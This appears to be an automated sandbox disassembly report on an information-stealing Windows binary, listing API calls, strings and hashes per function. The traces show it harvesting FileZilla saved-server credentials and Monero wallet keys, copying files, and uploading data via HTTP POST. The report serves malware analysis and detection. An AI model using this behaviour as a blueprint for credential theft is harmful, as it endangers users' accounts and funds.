Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 0d8f4aa962a8148199cc7e3944a5bc7806e06d511609f3f0acdbe2edd2bed3c3
Instruction ID: 5d6b71cba7b1019f2b5c4b029cc89e4910aca642a522ade7a15307e4ea61a0f5
Opcode Fuzzy Hash: 0d8f4aa962a8148199cc7e3944a5bc7806e06d511609f3f0acdbe2edd2bed3c3
Instruction Fuzzy Hash: 553220B6900318ABDB25EBA0DC85DEE737CBB54700F444A98F70A62090DF74E7968F55

Function 001F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00200DBA,00200DB7,00200DB6,00200DB3), ref: 001F0362
RtlAllocateHeap.NTDLL(00000000), ref: 001F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 001F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 001F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001F0562
lstrcat.KERNEL32(?,profile: null), ref: 001F0571
lstrcat.KERNEL32(?,url: ), ref: 001F0580
lstrcat.KERNEL32(?,00000000), ref: 001F0593
lstrcat.KERNEL32(?,00201678), ref: 001F05A2
lstrcat.KERNEL32(?,00000000), ref: 001F05B5
lstrcat.KERNEL32(?,0020167C), ref: 001F05C4
lstrcat.KERNEL32(?,login: ), ref: 001F05D3
lstrcat.KERNEL32(?,00000000), ref: 001F05E6
lstrcat.KERNEL32(?,00201688), ref: 001F05F5
lstrcat.KERNEL32(?,password: ), ref: 001F0604
lstrcat.KERNEL32(?,00000000), ref: 001F0617
lstrcat.KERNEL32(?,00201698), ref: 001F0626
lstrcat.KERNEL32(?,0020169C), ref: 001F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F068E

Strings

<Host>, xrefs: 001F037C
url: , xrefs: 001F0577
<Port>, xrefs: 001F03C6
<Pass encoding="base64">, xrefs: 001F045A
<User>, xrefs: 001F0410
login: , xrefs: 001F05CA
password: , xrefs: 001F05FB
browser: FileZilla, xrefs: 001F0559
profile: null, xrefs: 001F0568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001F02A4

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 77efcb6addea7a773b1d6ae8151e354a4b09b9237540c1d4f3486f103e57b52e
Instruction ID: d3f589a01086e355d22708718236aa768456d8f3adc200e3caae04cb7922b52a
Opcode Fuzzy Hash: 77efcb6addea7a773b1d6ae8151e354a4b09b9237540c1d4f3486f103e57b52e
Instruction Fuzzy Hash: 70D112B191020CABCB04FBE0DD96EFD7378AF64301F804518F606A7096DF75AA16CB65

Function 001E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

lstrlen.KERNEL32(00000000), ref: 001E5193

Part of subcall function 001F8EA0: CryptBinaryToStringA.CRYPT32(00000000,001E5184,40000001,00000000,00000000,?,001E5184), ref: 001F8EC0

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E5207
StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E5340
HttpOpenRequestA.WININET(00000000,011DE3D0,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E53A4

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,011DE410,00000000,?,011D9BA8,00000000,?,002019DC,00000000,?,001F51CF), ref: 001E5737
lstrlen.KERNEL32(00000000), ref: 001E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 001E575C
RtlAllocateHeap.NTDLL(00000000), ref: 001E5763
lstrlen.KERNEL32(00000000), ref: 001E5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E57A9
lstrlen.KERNEL32(00000000), ref: 001E57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E57E1
lstrlen.KERNEL32(00000000,?,?), ref: 001E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E584D
InternetCloseHandle.WININET(00000000), ref: 001E58B1
InternetCloseHandle.WININET(00000000), ref: 001E58BE
InternetCloseHandle.WININET(00000000), ref: 001E58C8

Strings

", xrefs: 001E5706
------, xrefs: 001E53B7
------, xrefs: 001E563B
", xrefs: 001E5482
------, xrefs: 001E54F9
------, xrefs: 001E5297
--, xrefs: 001E5280
", xrefs: 001E55C4

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 6512238dc1591b806a294893f73f003793ec7798e9aca484b32c55546d18990f
Instruction ID: 8d1d83a275def941a2571025f74f74dcebda5e6906e55f4c1408bcc950715317
Opcode Fuzzy Hash: 6512238dc1591b806a294893f73f003793ec7798e9aca484b32c55546d18990f
Instruction Fuzzy Hash: 963203B192011CABDB14EBA0DC91FFE7378BF64741F8041A9B60A62092DF746B49CF56

Function 001EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FAA70: StrCmpCA.SHLWAPI(011D8B00,001EA7A7,?,001EA7A7,011D8B00), ref: 001FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 001EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 001EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001EA8B0

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrcat.KERNEL32(?,00000000), ref: 001EACEB
lstrcat.KERNEL32(?,00201320), ref: 001EACFA
lstrcat.KERNEL32(?,00000000), ref: 001EAD0D
lstrcat.KERNEL32(?,00201324), ref: 001EAD1C
lstrcat.KERNEL32(?,00000000), ref: 001EAD2F
lstrcat.KERNEL32(?,00201328), ref: 001EAD3E
lstrcat.KERNEL32(?,00000000), ref: 001EAD51
lstrcat.KERNEL32(?,0020132C), ref: 001EAD60
lstrcat.KERNEL32(?,00000000), ref: 001EAD73
lstrcat.KERNEL32(?,00201330), ref: 001EAD82
lstrcat.KERNEL32(?,00000000), ref: 001EAD95
lstrcat.KERNEL32(?,00201334), ref: 001EADA4
lstrcat.KERNEL32(?,00000000), ref: 001EADB7
lstrlen.KERNEL32(?), ref: 001EAE0D
lstrlen.KERNEL32(?), ref: 001EAE1C

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

DeleteFileA.KERNEL32(00000000), ref: 001EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 001EABD4

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 1ba98ff19a7c537ae090973c7f578ae502b748157e2098b50b8435a94d8e4d64
Instruction ID: ef33b404a03b0d9446342cad8bbd12300cfefe94dc27f91bc5d8bbcffcf2bfc1
Opcode Fuzzy Hash: 1ba98ff19a7c537ae090973c7f578ae502b748157e2098b50b8435a94d8e4d64
Instruction Fuzzy Hash: E51213B19101089BCB14FBA0DD96DFE7378BF64301F904168F60BA6091DF796E1ACB66

Function 001E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E59F8
StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,011DE330,00000000,?,011D9BA8,00000000,?,00201A1C), ref: 001E5E71
lstrlen.KERNEL32(00000000), ref: 001E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 001E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 001E5E9A
lstrlen.KERNEL32(00000000), ref: 001E5EAF
lstrlen.KERNEL32(00000000), ref: 001E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 001E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 001E5F4C
InternetCloseHandle.WININET(00000000), ref: 001E5FB0
InternetCloseHandle.WININET(00000000), ref: 001E5FBD
HttpOpenRequestA.WININET(00000000,011DE3D0,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E5BF8

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

InternetCloseHandle.WININET(00000000), ref: 001E5FC7

Strings

------, xrefs: 001E5D4C
------, xrefs: 001E5A96
------, xrefs: 001E5C0B
", xrefs: 001E5E16
", xrefs: 001E5CD5

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: efd2777f6e38729658fc097c15c6a6815fcf0420e0ba5900f48930654a25ba97
Instruction ID: e1ad44359c1723f22dcde2ead9ba0d80faaa0cba79c8153ce390e52c9258fd02
Opcode Fuzzy Hash: efd2777f6e38729658fc097c15c6a6815fcf0420e0ba5900f48930654a25ba97
Instruction Fuzzy Hash: 331200B192011CABDB15EBA0DC95FEE7378BF24741F8041A9B20E62091DF746B4ACF65

Function 001ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,011D9B18,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 001ED0CE
lstrcat.KERNEL32(?,00000000), ref: 001ED208
lstrcat.KERNEL32(?,00201478), ref: 001ED217
lstrcat.KERNEL32(?,00000000), ref: 001ED22A
lstrcat.KERNEL32(?,0020147C), ref: 001ED239
lstrcat.KERNEL32(?,00000000), ref: 001ED24C
lstrcat.KERNEL32(?,00201480), ref: 001ED25B
lstrcat.KERNEL32(?,00000000), ref: 001ED26E
lstrcat.KERNEL32(?,00201484), ref: 001ED27D
lstrcat.KERNEL32(?,00000000), ref: 001ED290
lstrcat.KERNEL32(?,00201488), ref: 001ED29F
lstrcat.KERNEL32(?,00000000), ref: 001ED2B2
lstrcat.KERNEL32(?,0020148C), ref: 001ED2C1
lstrcat.KERNEL32(?,00000000), ref: 001ED2D4
lstrcat.KERNEL32(?,00201490), ref: 001ED2E3

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

lstrlen.KERNEL32(?), ref: 001ED32A
lstrlen.KERNEL32(?), ref: 001ED339

Part of subcall function 001FAA70: StrCmpCA.SHLWAPI(011D8B00,001EA7A7,?,001EA7A7,011D8B00), ref: 001FAA8F

DeleteFileA.KERNEL32(00000000), ref: 001ED3B4

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
